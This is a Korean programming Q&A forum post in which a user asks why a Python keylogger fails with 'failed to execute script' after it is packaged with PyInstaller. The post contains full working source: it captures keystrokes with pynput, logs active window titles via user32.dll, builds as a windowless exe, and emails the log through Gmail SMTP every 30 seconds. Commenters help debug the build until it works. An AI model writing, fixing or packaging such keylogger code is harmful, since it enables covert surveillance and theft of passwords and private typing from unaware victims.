[pyinstaller] path 설정도 했는데 오류가 뜹니다 (failed to execute script)

조회수 65회
import os
import getpass
import ctypes
import smtplib
import time
from datetime import datetime
from threading import Thread
from pynput.keyboard import Key, Listener

절대경로 설정(pyinstaller 사용시)

def resource_path(relative_path):
    try:
        # PyInstaller에 의해 임시폴더에서 실행될 경우 임시폴더로 접근하는 함수
        base_path = sys._MEIPASS
    except Exception:
        base_path = os.path.abspath(".")
    return os.path.join(base_path, relative_path)

FILEMANAGER

username = getpass.getuser()
now = datetime.now()
now = str(now).split()[0]

basic = open(resource_path('data.txt'), mode="at", encoding="utf-8")
basic.write(username + "/" + now + "\n")
basic.close()

WINMANAGER

def gettitle():
    lib = ctypes.windll.LoadLibrary('user32.dll')
    handle = lib.GetForegroundWindow()    # 활성화된 윈도우의 핸들얻음
    buffer = ctypes.create_unicode_buffer(255)    # 타이틀을 저장할 버퍼
    lib.GetWindowTextW(handle, buffer, ctypes.sizeof(buffer))    # 버퍼에 타이틀 저장

    return buffer.value # buffer return

윈도우 타이틀 감지 함수

def wintitle():
    oldtitle = gettitle()
    while True:
        time.sleep(0.1)
        if gettitle() != oldtitle:
            logger("\n" + "///" + gettitle() + "///" + "\n")
        oldtitle = gettitle()

KEYLOGGING

감지한 키 로깅

def logger(key):
    key = str(key).replace("'", "")
    f = open(resource_path('data.txt'), mode="at", encoding="utf-8")
    f.write(key + "\n")
    f.close()

키 입력 감지 함수

def on_press(key):
    logger(key)
    print(key)    

MAILMANAGER

def main2():

    sender = 'xxx@gmail.com' # 발신자 이메일
    receiver  = 'xxx@gmail.com' # 수신자 이메일 (자기 자신에게 전송할것이기때문에 동일함)
    username = 'xxx@gmail.com' # 자신의 구글 계정 아이디
    password = 'xxx' # 자신의 구글 계정 패스워드

    log = open(resource_path('data.txt'), mode='r', encoding='utf-8').read().encode()

    server = smtplib.SMTP('smtp.gmail.com:587')
    server.starttls()
    server.login(username,password)
    server.sendmail(sender, receiver, log)
    server.quit()

if __name__ == "__main__":
    main2()

메일 보내는 시간 설정

def FSC():
    while True:
        time.sleep(30)
        print("TIME PASS")
        main2()

메인 함수

def main():         
    with Listener(on_press=on_press) as listener:
        listener.join()

쓰레딩

mainThread = Thread(target=main)
titleThread = Thread(target=wintitle)
FSCThread = Thread(target=FSC)

mainThread.start()
titleThread.start()
FSCThread.start()

VSCode 내에서 실행하면 잘만 돌아갑니다. 하지만 exe로 변환시키면서 문제가 발생하네요.

terminal에 pyinstaller -w --add-data 'data.txt;.' keylogger.py 를 실행시켜 다음 사진과 같은 결과를 얻었습니다. 이미지

보시다시피 data파일이 문제없이 파일 안에 존재합니다. 그런데 keylogger.exe를 실행시키면 failed to execute script라고 뜨네요.
경로설정에는 더이상 문제가 없는 것 같은데

  • cmd에서 exe 파일을 실행시킨 다음에 어떤 에러 메시지가 노출되는지 확인해보세요. 초보 2021.1.10 12:31
  • 댓글에 에러내용 첨부했습니다... 김도연 2021.1.12 20:16
  • pyinstaller로 exe 파일로 변환할 때 명령어 어떻게 입력했나요? 초보 2021.1.13 09:32
  • pyinstaller -w --add-data 'data.txt;.' keylogger.py 김도연 2021.1.13 21:47
  • 그렇게 하지 말고 원파일로 만들어보세요 초보 2021.1.14 08:53
  • 이런... 똑같이 뜨네요 김도연 2021.1.14 20:29
  • pynput.keyboard 관련 이슈 찾아보세요. 모듈에 문제가 있나보네요. https://stackoverflow.com/questions/63681770/getting-error-when-using-pynput-with-pyinstaller 초보 2021.1.15 09:00
  • 와우 정말 모듈 문제였네요... 바쁘실텐데 끝까지 알려주셔서 정말 감사합니다!!! 김도연 2021.1.16 16:42

답변을 하려면 로그인이 필요합니다.

Hashcode는 개발자들을 위한 무료 QnA 사이트입니다. 계정을 생성하셔야만 답변을 작성하실 수 있습니다.

(ಠ_ಠ)
(ಠ‿ಠ)

ᕕ( ᐛ )ᕗ
로그인이 필요합니다

Hashcode는 개발자들을 위한 무료 QnA사이트 입니다. 계정을 생성하셔야만 글을 작성하실 수 있습니다.